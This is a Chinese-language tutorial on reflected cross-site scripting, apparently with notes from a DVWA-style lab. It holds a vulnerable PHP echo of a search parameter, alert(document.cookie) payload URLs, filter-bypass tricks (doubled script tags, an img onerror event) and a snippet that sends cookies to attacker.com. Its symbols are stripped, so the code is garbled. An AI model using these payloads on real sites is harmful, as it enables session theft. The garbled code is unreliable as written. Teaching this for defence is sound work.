)
1. 什么是反射型XSS反射型XSSReflected Cross-Site Scripting是一種常見的Web安全漏洞攻擊者將惡意腳本注入到URL參數(shù)中當用戶點擊包含這些惡意參數(shù)的鏈接時服務器會“反射”這些參數(shù)到響應頁面中執(zhí)行從而在用戶瀏覽器中執(zhí)行攻擊者的腳本。2. 攻擊原理與流程反射型XSS的攻擊流程通常如下攻擊者構造一個包含惡意腳本的URL例如https://example.com/search?qscriptalert(XSS)/script攻擊者通過郵件、社交媒體或釣魚網站等方式誘使用戶點擊該鏈接用戶點擊鏈接瀏覽器向服務器發(fā)送請求服務器未對輸入參數(shù)進行過濾直接將惡意參數(shù)返回到響應頁面用戶的瀏覽器解析響應執(zhí)行其中的惡意腳本3. 常見攻擊場景搜索功能搜索關鍵詞直接顯示在結果頁面錯誤消息錯誤信息中包含用戶輸入的內容URL重定向重定向參數(shù)未經驗證表單提交提交后顯示確認信息頁面4. 攻擊示例4.1 基礎示例假設有一個搜索頁面!-- 搜索頁面 -- form action/search methodGET input typetext nameq placeholder搜索... button typesubmit搜索/button /form !-- 搜索結果頁面 -- div idresults 您搜索的關鍵詞是?php echo $_GET[q]; ? /div攻擊者可以構造URLhttps://example.com/search?qscriptalert(document.cookie)/script4.2 竊取Cookie示例// 惡意腳本示例 script var img new Image(); img.src https://attacker.com/steal?cookie encodeURIComponent(document.cookie); /script5. 危害與影響會話劫持竊取用戶的會話Cookie冒充用戶身份釣魚攻擊偽造登錄頁面誘導用戶輸入敏感信息鍵盤記錄監(jiān)控用戶的鍵盤輸入網頁篡改修改頁面內容傳播惡意信息重定向攻擊將用戶重定向到惡意網站low嘗試直接構造JavaScript語句進行cookie的竊取發(fā)現(xiàn)可以成功竊取查看代碼可以發(fā)現(xiàn)沒有做任何的防護medium依舊嘗試直接寫入JavaScript語句發(fā)現(xiàn)是直接放回懷疑對script進行了過濾可以嘗試利用雙寫進行繞過嘗試成功high雙寫繞過失敗推測可能采用了正則表達式的搜索和替換所以我們需要采用其他事件進行繞過以達到攻擊的目的因此直接在payload中構造img src1 οnerrοralert(document.cookie)impossible這里直接通過htmlspecialchars將預定的字符轉化為html實體從而防止我們進行html注入